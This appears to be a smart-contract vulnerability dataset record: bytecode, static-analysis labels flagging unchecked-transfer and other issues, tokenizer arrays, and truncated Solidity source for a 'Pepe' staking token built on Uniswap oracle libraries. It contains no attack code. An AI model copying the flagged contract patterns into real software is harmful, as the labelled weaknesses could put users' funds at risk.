908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201527f73206e6f74206f776e0000000000000000000000000000000000000000000000606082015260800190565b60208082526019908201527f5052503a2043616e206f6e6c7920626520726564756365642100000000000000604082015260600190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000606082015260800190565b60208082526022908201527f5052503a204554482076616c75652073656e74206973206e6f7420636f72726560408201527f6374000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601a908201527f5052503a204d696e7420776f756c642065786365656420636170000000000000604082015260600190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560408201527f7200000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526017908201527f5052503a204f6e6c792033207065722061646472657373000000000000000000604082015260600190565b6020808252601f908201527f5052503a204672656520746f206d696e74206c696d6974207265616368656400604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60408201527f776e6572206e6f7220617070726f766564000000000000000000000000000000606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201527f7574206f6620626f756e64730000000000000000000000000000000000000000606082015260800190565b6020808252601d908201527f5052503a204d6574616461746120616c72656164792066726f7a656e2e000000604082015260600190565b60208082526017908201527f5052503a2053616c65206973206e6f7420616374697665000000000000000000604082015260600190565b90815260200190565b60009081526020902090565b600082198211156136a9576136a9613788565b500190565b6000826136bd576136bd61379e565b500490565b60008160001904831182151516156136dc576136dc613788565b500290565b6000828210156136f3576136f3613788565b500390565b60005b838110156137135781810151838201526020016136fb565b83811115610d785750506000910152565b60028104600182168061373857607f821691505b6020821081141561109c57634e487b7160e01b600052602260045260246000fd5b600060001982141561376d5761376d613788565b5060010190565b6000826137835761378361379e565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611b2557600080fd5b8015158114611b2557600080fd5b6001600160e01b031981168114611b2557600080fdfea2646970667358221220f725c2a1708ccf980c6e9a9cff5fef8183d4e53234afb1d3ae41a410c6d582a464736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 22394, 2692, 2050, 2575, 2683, 11387, 2549, 2063, 22203, 2683, 2575, 2581, 9818, 24087, 22203, 21926, 22932, 2063, 22407, 21472, 11387, 10354, 27421, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,801
0x976349df0cdf3ba964eb5674cc195475d0e1562e
/** *Submitted for verification at Etherscan.io on 2020-10-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** *Submitted for verification at Etherscan.io on 2020-09-28 */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.4.0; // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; uint private constant Q112 = uint(1) << RESOLUTION; uint private constant Q224 = Q112 << RESOLUTION; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } // take the reciprocal of a UQ112x112 function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) { require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL'); return uq112x112(uint224(Q224 / self._x)); } // square root of a UQ112x112 function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56)); } } pragma solidity >=0.5.0; // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.5.0; library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } pragma solidity =0.6.6; contract ExampleOracleSimple { using FixedPoint for *; uint public PERIOD = 10; IUniswapV2Pair public pair; address public token0; address public token1; address public periodSetter; uint public price0CumulativeLast; uint public price1CumulativeLast; uint32 public blockTimestampLast; FixedPoint.uq112x112 public price0Average; FixedPoint.uq112x112 public price1Average; constructor(address _pair, address _token0, address _token1, uint256 _price0CumulativeLast, uint256 _price1CumulativeLast, uint32 _blockTimestampLast) public { pair = IUniswapV2Pair(_pair); token0 = _token0; token1 = _token1; price0CumulativeLast = _price0CumulativeLast; // fetch the current accumulated price value (1 / 0) price1CumulativeLast = _price1CumulativeLast; // fetch the current accumulated price value (0 / 1) periodSetter = msg.sender; blockTimestampLast = _blockTimestampLast; } modifier _onlyOwner() { require(msg.sender == periodSetter); _; } function setPeriod(uint _amount) public _onlyOwner { PERIOD = _amount; } function update() external { (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair)); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // ensure that at least one full period has passed since the last update require(timeElapsed >= PERIOD, 'ExampleOracleSimple: PERIOD_NOT_ELAPSED'); // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)); price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)); price0CumulativeLast = price0Cumulative; price1CumulativeLast = price1Cumulative; blockTimestampLast = blockTimestamp; } // note this will always return 0 before update has been called successfully for the first time. function consult(address token, uint amountIn) external view returns (uint amountOut) { if (token == token0) { amountOut = price0Average.mul(amountIn).decode144(); } else { require(token == token1, 'ExampleOracleSimple: INVALID_TOKEN'); amountOut = price1Average.mul(amountIn).decode144(); } } } contract Pepe is Context, IERC20 { using SafeMath for uint256; using Address for address; struct stakeTracker { uint256 lastBlockChecked; uint256 rewards; uint256 wojakStaked; } address private _owner; uint256 private difficulty; IERC20 private wojak; address public wojakToken; ExampleOracleSimple public oracle; address payable public chad; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; mapping(address => stakeTracker) private _stakedBalances; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; event Staked(address indexed user, uint256 amount, uint256 totalWojakStaked); event Withdrawn(address indexed user, uint256 amount); event Rewarded(address indexed user, uint256 amountClaimed, uint256 value, uint256 tax); constructor (string memory _name_, string memory _symbol_, address _wojakAddress) public { _name = _name_; _symbol = _symbol_; _decimals = 18; _owner = msg.sender; difficulty = 100000; wojak = IERC20(_wojakAddress); uint256 startingSupply = 100 ether; _mint(msg.sender, startingSupply); } modifier _onlyOwner() { require(msg.sender == _owner); _; } modifier updateStakingReward(address account) { if (block.number > _stakedBalances[account].lastBlockChecked) { uint256 rewardBlocks = block.number .sub(_stakedBalances[account].lastBlockChecked); if (_stakedBalances[account].wojakStaked > 0) { _stakedBalances[account].rewards = _stakedBalances[account].rewards .add( _stakedBalances[account].wojakStaked .mul(rewardBlocks) / difficulty); } _stakedBalances[account].lastBlockChecked = block.number; } _; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address 